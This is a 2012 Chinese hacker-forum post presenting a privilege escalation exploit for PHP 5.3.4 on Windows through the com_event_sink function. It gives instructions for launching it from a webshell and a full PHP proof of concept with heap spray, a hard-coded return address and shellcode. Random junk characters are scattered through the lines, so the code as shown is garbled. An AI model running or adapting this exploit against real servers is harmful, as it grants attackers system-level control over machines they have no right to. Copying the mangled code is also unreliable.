找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1969|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中" C) v0 C" y% J' {6 L! z- k
) C. n6 J  S. g: H
测试方法如下:cmd /c x:\php\php.exe x:\test.php7 M6 }6 d. D  i4 g$ w, w
* {$ k  z! u" c/ x# j# ~( I
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php( `; W4 `1 @6 Z+ h3 j( i+ E" G, b3 j
这里是两个测试的截图:8 m4 k) T# @: F3 a/ M
7 a& W7 v+ g2 d9 q$ z( T

1 [( w5 t2 Z# G7 u" }% M2 M
; \1 W2 ?3 g2 W  w0 y6 d/ L
3 w+ V: m" R8 C/ }$ X
# s+ x" ^6 N7 J. X& ~5 N8 h成功利用此漏洞的攻击者将获得系统的最高权限
4 Z) f. r0 Q9 P
4 F" v1 g! z" }5 S- H: O7 l. f7 Z" |: [
0 l& S. z4 X% H; l* W/ n, F
( K& J0 [# N* ?& ?, |4 t9 E

2 K/ T$ f% w6 Q关于漏洞分析稍后附上。一下是PoC代码:
6 |8 e. a2 Z: L9 i! {8 Z2 Q! z/ r. D8 m# K4 K5 g
<?php
* r! ^. B) m) f2 l( \; b//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
! d/ K- u4 s9 G" x2 G1 y1 N' z8 M' g//$eip ="\x44\x43\x42\x41";
7 F4 w9 ]* t8 s4 a7 P% f; Z$eip= "\x4b\xe8\x57\x78";7 V6 j# G- Y- X0 K( A
$eax ="\x80\x01\x8d\x04";
7 f9 r$ j7 f+ e' B2 c1 G1 C9 m$deodrant="";$ s" B# |: e; [  D0 G7 M! ~; B1 K$ R
$axespray = str_repeat($eip.$eax,0x80);+ m4 N1 ~2 W2 G1 f* l% U. p. b( B
//048d0190; J# _9 E5 p* i
echo strlen($axespray);7 J) O  d" f; W0 J
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";, G; v$ O* _2 Z2 o6 y
echo "Silic Group Hacker Army - BlackBap.Org";
7 e  J9 s7 {$ n//19200 ==4B32 4b00% _! n1 y# F1 m5 a5 O. ~; H
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
/ g' D: d. n/ Y1 ~+ N( r$terminate = "T";
$ }% t8 }9 F& a8 {% z/ d, ~$u[] =$deodrant;) s& d" W$ J4 @+ |. i0 h- l: u: q
$r[] =$deodrant.$terminate;* R; `( J% X+ R( _) x# \* J
$a[] =$deodrant.$terminate;9 H% z( F. Q% w. w
$s[] =$deodrant.$terminate;4 y. n% d0 w3 U5 J) d
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
2 S) ?' o2 k4 c% T$vVar = new VARIANT(0x048d0000+180);
- ?5 t+ q; C% ?6 V8 G. _# q, q* O//弹窗代码(Shellcode)
7 q- D) v  [: y$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
+ k/ m  B4 T- k! L$var2 = new VARIANT(0x41414242);& }- f$ t9 W/ k; g6 K9 [& n! \
com_event_sink($vVar,$var2,$buffer);) a/ L0 O( V% a8 u& j
?>
: D/ C4 v; }  b0 {" u

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表